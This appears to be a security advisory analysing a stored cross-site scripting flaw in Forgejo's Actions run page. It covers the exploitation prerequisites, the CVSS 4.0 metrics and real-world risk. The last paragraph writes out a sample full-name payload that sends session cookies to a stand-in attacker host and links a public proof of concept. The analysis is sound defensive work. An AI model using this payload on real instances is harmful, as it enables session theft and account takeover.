Forgejo EUVD-2026-41433

Exploitation requires three concurrent conditions: (1) the Forgejo instance must have the DEFAULT_SHOW_FULL_NAME option enabled in its configuration - this is explicitly a non-default setting, so the majority of default deployments are not vulnerable; (2) the attacker must hold a valid low-privilege user account on the target Forgejo instance (PR:L), as account registration or social engineering is a prerequisite; (3) the attacker must be able to trigger a Forgejo Actions run, which requires write access to at least one repository with an Actions workflow configured. Exploitation is further limited by the requirement that a victim actively views the affected Actions run page (passive user interaction, UI:P in CVSS 4.0 terms). What limits exploitation: the non-default DEFAULT_SHOW_FULL_NAME setting is the single most significant barrier - instances without it are immune regardless of version. Additionally, self-hosted Forgejo instances with closed registration or a small known-user base significantly reduce the viable attacker pool.

Real-world risk is moderate-to-low, heavily conditional on deployment configuration. The CVSS 4.0 score of 2.1 is intentionally conservative: AT:P captures the requirement that DEFAULT_SHOW_FULL_NAME must be non-default-enabled, and UI:P (passive user interaction) reflects that a victim merely needs to view an Actions run page rather than click a crafted link. EPSS data is not provided, but the combination of a low-impact stored XSS in niche self-hosted software without KEV listing suggests exploitation probability is low at the population level. That said, a public POC exists (referenced via VulnCheck advisory and GitHub), which meaningfully lowers the bar for exploitation against misconfigured instances. The CVSS 4.0 impact metrics are instructive: VC:N/VI:N/VA:N (no direct impact on the vulnerable Forgejo server itself) but SC:L/SI:L (low confidentiality and integrity impact on subsequent systems - meaning victims' browser sessions). In practice this means an attacker could steal session cookies, perform CSRF-equivalent actions as the victim, or redirect users to phishing pages. For Forgejo instances hosting sensitive private repositories, even a low-severity XSS represents a credential-theft vector if admin accounts can be targeted. The non-default configuration requirement (DEFAULT_SHOW_FULL_NAME) is the most significant real-world risk limiter.

An authenticated Forgejo user sets their account full name to a JavaScript payload such as '<script>document.location="https://attacker.example/steal?c="+document.cookie</script>' via the profile settings page. The attacker then triggers any Forgejo Actions run (e.g., pushing a commit to a repository with an Actions workflow). When another user - including an administrator - navigates to the Actions run detail page, the server-generated run description containing the unsanitized full name is rendered via Vue v-html, causing the injected script to execute in the victim's browser and exfiltrate their session cookie. A public proof-of-concept demonstrating this technique is available at https://github.com/geo-chen/oss/blob/main/forgejo.md.